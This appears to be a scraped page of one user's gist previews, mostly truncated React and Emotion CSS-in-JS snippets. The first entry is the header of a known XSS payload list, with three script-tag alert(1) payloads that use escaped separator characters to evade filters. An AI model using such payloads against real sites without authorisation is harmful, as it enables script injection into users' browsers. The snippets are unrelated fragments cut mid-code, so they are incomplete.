tkh44

<!-- Project Name  : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!--        Author : Ismail Tasdelen -->
<!--      Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!--        GitHub : https://github.com/ismailtasdelen/ -->
<!--       Twitter : https://twitter.com/ismailtsdln -->
<!--        Medium : https://medium.com/@ismailtasdelen -->

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>

tkh44

title
Introduction

Emotion is a lightweight library designed for writing styles in JavaScript, enabling powerful and predictable style composition using both string and object styles. It also provides a great developer experience with features such as source maps, labels, and testing utilities.

---

There are two primary methods of using Emotion. The first is framework agnostic and the second is for use with React.

tkh44

const hash = require('@emotion/hash')
const weakMemoize = require('@emotion/weak-memoize')

export function html (strings, ...interpolations) {
  return strings.reduce(
    (final, str, i) =>
      final +
      str +
      (interpolations[i] === undefined
        ? ''

tkh44

I was looking for a better way to compose multiple render prop based components. https://codesandbox.io/s/pm04m73n2x

const h = React.createElement;

const id = x => x;

const basicRenderCb = (result, Next) => // Next is the next component in the list.
 h(Next, result);

tkh44

var objectForeach = require("object-foreach");

// list of keys to make the tree structure map
const store = {
  optimist: [],
  entities: {
    users: {}
  }
};

tkh44

import { injectGlobal } from 'react-emotion';

/*! normalize.css v5.0.0 | MIT License | github.com/necolas/normalize.css */

/**
 * 1. Change the default font family in all browsers (opinionated).
 * 2. Correct the line height in all browsers.
 * 3. Prevent adjustments of font size after orientation changes in
 *    IE on Windows Phone and in iOS.
 */

tkh44

import React from 'react'
import { Div } from 'glamorous'

const filterPosts = (posts, term) => posts.filter(item => item.includes(term))

function List({ items }) {
  return <ul>{items.map((p, i) => <li key={i}>{p}</li>)}</ul>
}

class Index extends React.Component {

tkh44

import { css } from 'emotion'

class Profile extends Component {
  css = (p) => css`
    color: blue;
    height: ${p.parentHeight};  
  `
  render() {
    return (<div className={this.css(props)}/>)
  }

tkh44

import { Component } from 'react'
import { get } from 'lodash'
import { connect } from 'react-redux'
import compose from 'recompose/compose'
import roomLoader from 'room/room-loader'
import { Request, Subscribe } from 'react-nes'
import { css, StyleSheet } from 'aphrodite/no-important'
import { breakpoints, colors, font, mediaQueries } from 'style'
import Header from 'ui/Header'
import Footer from 'ui/Footer'

tkh44

import styled, { css } from 'emotion/react'
import { space, width, fontSize, color, responsiveStyle } from 'styled-system'


export const display = responsiveStyle('display')
export const flex = responsiveStyle('flex')
export const order = responsiveStyle('order')
const wrap = responsiveStyle('flex-wrap', 'wrap', 'wrap')
const direction = responsiveStyle('flexDirection', 'direction')
const align = responsiveStyle('alignItems', 'align')